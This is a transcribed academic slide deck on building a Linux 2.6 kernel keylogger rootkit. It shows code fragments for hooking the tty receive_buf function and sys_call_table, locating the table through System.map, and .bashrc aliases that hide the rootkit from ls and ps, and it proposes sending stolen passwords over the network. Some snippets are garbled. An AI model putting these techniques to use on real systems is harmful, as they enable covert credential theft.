Linux Kernel Rootkit : Virtual Terminal Key Logger

Transcription

1 Linux Kernel Rootkit : Virtual Terminal Key Logger Jeena Kleenankandy Roll No. P140066CS Depatment of Computer Science and Engineering National Institute of Technology Calicut jeena p140066cs@nitc.ac.in April 24, 2015 Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

2 Overview 1 Objective/Motivation 2 Introduction 3 Terminology 4 Linux TTY Devices 5 Kernel data structures 6 Maintaining Stealth 7 Conclusion & Future Work 8 References Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

3 Objective / Motivation To gain insight into internel working of kernel, especially TTY drivers and system calls To understand the vulnerabilities in kernel, by taking the role of attacker To develop a root-kit, Terminal key-logger, that targets Linux 2.6 kernel Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

4 Introduction Linux Kernel Rootkit 1 Attack the tty structure of linux kernel to capture user inputs, both local & remote logins 2 Modify System call table access privelage to hook system calls 3 Print the captured inputs into system log 4 Modify the ps and ls commands to hide the presence of rootkit Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

5 Some terms & Commands... you already know.. Rootkit A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network, mask the fact that the system is compromised, and much more. Rootkits are typically used to capture passwords, though they can be used to collect any priveliged information Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

6 Some terms & Commands... you already know.. Loadable Kernel Module LKM is an object file that contains code to extend the running kernel of an operating system. They are dynamically linked to the kernel and is powerful as it. insmod Insert an LKM into the kernel. rmmod Remove an LKM from the kernel. Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

7 Some terms & Commands... you already know.. System Call Hooks Hooks work by modifying function pointers to point to a malicious version of a function, by which the attacker can gain complete control of the execution flow of a particular call. Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

8 Linux TTY Devices Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

9 Kernel data structures struct tty struct An instance of tty struct is created any time a new tty device is opened, and exists until it is last closed # /usr/include/linux/tty.h struct tty_struct { int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked;... } Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

10 Kernel data structures struct tty ldisc The structure is referenced by the ldisc field of tty struct struct tty_ldisc { struct tty_ldisc_ops *ops; struct tty_struct *tty; }; struct tty_ldisc_ops { void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); receive buf() function is called by the low-level tty driver to send characters received by the hardware to the line discipline for processing. Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

11 Kernel data structures To log inputs on the tty0 int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); struct tty_struct *tty = file->private_data; old_receive_buf = tty->ldisc->ops->receive_buf; tty->ldisc->ops->receive_buf = new_receive_buf; tty struct and tty queue structures are dynamically allocated only when the tty is open. We have to intercept sys open syscall to dynamically hooking the receive buf() function of each tty or pty when it s invoked. Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

12 Kernel data structures Our malicious new function void new_receive_buf(struct tty_struct *tty, const unsigned ch char *fp, int count) { //log inputs here... /* call the original receive_buf */ (*old_receive_buf)(tty, cp, fp, count); } cp is a pointer to the buffer of input character received by the device. fp is a pointer to a pointer of flag bytes which indicate whether a character was received with a parity error, etc. Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

13 Kernel data structures To intercept open syscall original_sys_open = sys_call_table[ NR_open]; sys_call_table[ NR_open] = new_sys_open; Oops! Symbol table is no longer exported in Kernel 2.6. To solve this : Get the location of the syscall table from boot/system.map file grep sys call table /boot/system.map sys call table = (void*)0xc ; Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

14 Maintaining Stealth To hide the rootkit, create an alias in the.bashrc file : For ls command, alias ls = ls --ignore=klog For ps command, alias ps = ps > /tmp/temp.txt cat /tmp/temp.txt grep -v klog Not a brilliant idea, but enough to fool a naive user Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

15 Conclusion & Future Work 1 demonstrates that anyone with a basic knowledge of Linux and C programing, can create simple rootkits. 2 should have written to seperate file instead of using printk 3 enhance to listen for a signal from the attacker and send the hijacked password over the network 4 could be made to hide itself from lsmod command Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

16 References Ra ul Siles Pel aez(2004) Linux kernel rootkits: protecting the systems Ring - Zero GIAC Unix Security Administrator (GCUX) Subrata Acharya Dr.,Brian Namovicz, Jonathan Wiseman I. (2010). A Hybrid Root-kit for Linux Operating System, Colonial Academic Alliance Research Journal, 1, pp Linux Cross Reference : Free electrons, url: Accessed on 28 March 2015 Writing Linux Kernel Keylogger, Phrack Magazine, Volume 0x0b, Issue 0x3b, Phile 0x0e of 0x12, June 19th, 2002 Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17

17 WORD OF CAUTION Don t ever try this on a real OS, VirtualBoxs are cheaper to crash Thank You Jeena Kleenankandy Roll No. P140066CS (NITC) Linux Rootkit April 24, / 17